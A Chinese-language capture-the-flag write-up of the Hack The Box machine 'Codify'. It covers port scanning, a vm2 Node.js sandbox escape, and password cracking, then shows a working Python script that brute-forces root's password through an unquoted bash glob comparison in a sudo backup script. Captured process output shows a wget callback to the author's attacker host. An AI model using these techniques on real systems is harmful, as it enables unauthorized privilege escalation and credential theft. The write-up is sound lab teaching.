Codify是HTB上的一个简单难度的Linux机器。
同样的我在初始权限获取阶段耗费了好多时间,在root阶段我成功得到了root密码;
但欧亨利结尾一样,我尝试ssh root@localhost登录root用户,而不是su

靶场信息

Codify涉及到的一些知识点:

  • NodeJS
  • Bash脚本

信息收集

端口扫描

Nmap端口扫描:

kali@kali ~> nmap -p- -n --min-rate 2000 -T4 10.10.11.239
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-09 13:32 EST
Warning: 10.10.11.239 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.239
Host is up (0.26s latency).
Not shown: 62499 filtered tcp ports (no-response), 3034 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 225.27 seconds

访问80端口时,跳转到域名codify.htb,直接在hosts文件添加记录。

初始权限

访问80端口首页,说明是一个NodeJS的沙箱,并进行了限制:

尝试引用限制的包时会报错:

在网络上搜索有关于NodeJS沙箱逃逸的文章,比较有帮助的是下面两篇:

第一个链接中给出了导出栈信息的语句:

function stackTrace() {
var err = new Error();
console.log(err.stack);
}
stackTrace();

运行上面命令,可以成功得到如下栈信息:

Error
at stackTrace (vm.js:2:15)
at vm.js:5:1
at Script.runInContext (node:vm:135:12)
at VM.runScript (/var/www/editor/node_modules/vm2/lib/vm.js:285:18)
at /var/www/editor/node_modules/vm2/lib/vm.js:507:16
at timeout_bridge.js:1:1
at Script.runInContext (node:vm:135:12)
at doWithTimeout (/var/www/editor/node_modules/vm2/lib/vm.js:132:29)
at VM.run (/var/www/editor/node_modules/vm2/lib/vm.js:506:10)
at /var/www/editor/index.js:51:27

根据信息,可以判断靶机环境使用了vm2模块。

根据这个信息,可以搜索vm2模块信息的漏洞,进而成功提权。

点我直接看答案

https://github.com/patriksimek/vm2/security是该模块漏洞相关信息,全部试一遍就知道了。

沙箱逃逸之后,各种拿权限方式都可以,我选择的是写SSH公钥到~/.ssh/authorized_keys文件。

我花了接近4个小时拿到初始权限,进行了如下尝试:

  • 尝试绕过沙箱关于模块引用的限制,试图读取文件。
    • 例如可以引用fs/promises或者node:fs,本地代码生效,但这两种都没能成功读取靶机文件
  • 针对可能的命令执行成功,一直尝OOB,比如wget本地服务之类的,后来发现靶机环境应该不能出网
  • 针对Github上的漏洞信息,我尝试了前2个,之后放弃了,后面发现第三个可以正常逃逸沙箱、执行命令

用户权限

成功拿到初始权限之后,照例是先用Linpeas跑一遍、收集信息。

可能有用的信息是:

╔══════════╣ Container related tools present (if any):
/usr/bin/docker
/usr/sbin/runc


svc 1255 0.4 1.4 642272 57844 ? Ssl 07:25 0:02 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
svc 1417 0.3 1.5 653608 61956 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1420 0.2 1.5 653280 62500 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1438 0.3 1.5 653608 62264 ? Sl 07:25 0:02 _ node /var/www/editor/index.js
svc 1442 0.1 1.5 718824 60660 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1805 0.0 0.0 2888 976 ? S 07:25 0:00 | _ /bin/sh -c wget http://10.10.16.29:8000/a
svc 1806 0.0 0.1 14136 4496 ? S 07:25 0:00 | _ wget http://10.10.16.29:8000/a
svc 1480 0.2 1.5 653608 62548 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1492 0.3 1.5 653544 61372 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1520 0.3 1.5 653352 61236 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1536 0.3 1.5 653608 61592 ? Sl 07:25 0:01 _ node /var/www/editor/index.js
svc 1556 0.3 1.5 653352 61916 ? Sl 07:25 0:02 _ node /var/www/editor/index.js
svc 1557 0.3 1.5 643860 59780 ? Sl 07:25 0:02 _ node /var/www/editor/index.js

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41909 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN 1255/PM2 v5.3.0: Go

lrwxrwxrwx 1 root root 35 Apr 12 2023 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf
<VirtualHost *:80>
ServerName codify.htb
ServerAdmin admin@codify.htb
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
RewriteEngine On
RewriteCond %{HTTP_HOST} !^codify.htb$
RewriteRule ^(.*)$ http://codify.htb$1 [R=permanent,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

╔══════════╣ Analyzing Cache Vi Files (limit 70)

-rw------- 1 joshua joshua 801 Apr 16 2023 /srv/.viminfo

╔══════════╣ Checking if containerd(ctr) is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it
ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"

╔══════════╣ Checking if runc is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it

╔══════════╣ Searching root files in home dirs (limit 30)
/root/
/var/www

/var/www/contact
/var/www/contact/index.js
/var/www/contact/package.json
/var/www/contact/package-lock.json
/var/www/contact/templates
/var/www/contact/templates/login.html
/var/www/contact/templates/ticket.html
/var/www/contact/templates/tickets.html
/var/www/contact/tickets.db

/var/www/editor
/var/www/editor/index.js

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group svc:
/var/www/contact/package.json
/var/www/contact/templates
/var/www/contact/templates/ticket.html
/var/www/contact/templates/login.html
/var/www/contact/templates/tickets.html
/var/www/contact/package-lock.json
/var/www/contact/index.js


-rwxr-xr-x 1 root root 928 Nov 2 12:26 /opt/scripts/mysql-backup.sh

-rw-rw-r-- 1 svc svc 84868 Sep 12 17:21 /home/svc/.pm2/dump.pm2.bak

一番尝试后,在/var/www/contact找到另一个NodeJS项目,导出数据库,并爆破出密码,得到joshua用户权限。

root权限

root权限部分是这个机器最有意思的部分,强烈建议自己先试着做看看。

joshua运行sudo -l,可以查看该用户可以运行一个备份数据库的脚本:

Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh

脚本内容如下:

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

实现root的难点是:

  1. 找到上面代码的漏洞点
  2. 如何利用漏洞点进一步挖掘信息

绕过密码校验

代码的逻辑较为简单,即将用户输入的密码与/root/.creds中的密码匹配,一致的话对数据库进行备份。

但是怎么在不知道密码的情况下正确通过校验呢?

我在网上搜索了两个有用的链接:

  1. 3.2.5.2 Conditional Constructs
  2. what are the differences between == and = in conditional expressions?
  3. [Bash’s white collar eval: [[ $var -eq 42 ]] runs arbitrary code too](https://www.vidarholen.net/contents/blog/?p=716)

实际上看第一个链接的Bash手册就可以了。
里面很关键的一句话是:

The shell performs tilde expansion, parameter and variable expansion, arithmetic expansion, command substitution, process substitution, and quote removal on those words (the expansions that would occur if the words were enclosed in double quotes).

第二个链接里也有一句:

With the [[ … ]] construct, both = and == are equal (at least in Bash) and the right side of the operator is taken as a pattern, like in a filename glob, unless it is quoted. (Filenames are not expanded within [[ … ]]).

意思是[[ ... ]]里的内容会进行扩展,或者说是某种pattern,如果熟悉正则的话,可以很直接联想到通配符。

使用通配符*可以绕过密码的校验,校验之后怎么进一步挖掘信息呢?

进一步信息挖掘

方法一

如果熟悉渗透、会经常提权的话,应该知道Pspy
这个工具可以在没有root权限情况下监测系统进程。

针对题目的场景,我们可以运行pspy监测进程,然后sudo运行脚本,脚本开始备份数据库时,pspy可以读取到root密码信息。

方法二

那么已知可以通配符绕过的情况下,有没有办法可以拿到明文密码呢?

答案是可以的,类似于SQL注入,可以编写Python脚本自动化实现爆破过程。

给出下面示例代码,简单修改之后即可在靶机环境使用:

import subprocess
import string

currentPwd = ""
should_continue = True
candidates = string.printable[:94].replace("*","").replace("?","").replace("\\","")

while should_continue:
tempPwd = currentPwd
for x in candidates:
process=subprocess.Popen(['/usr/bin/bash','mysql-backup.sh'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
inputdata=f"{currentPwd}{x}*\n".encode()
stdoutdata,stderrdata=process.communicate(input=inputdata)
if b"Password confirmed" in stdoutdata:
currentPwd += x
print(currentPwd)
should_continue = True
continue
if tempPwd == currentPwd:
should_continue = False

root

知道root密码之后,直接su即可,不应再ssh root@localhost

总结

这个机器整体上不难,但我在拿初始权限阶段耗时太多,而root阶段又在最后阶段放弃了,有一点遗憾。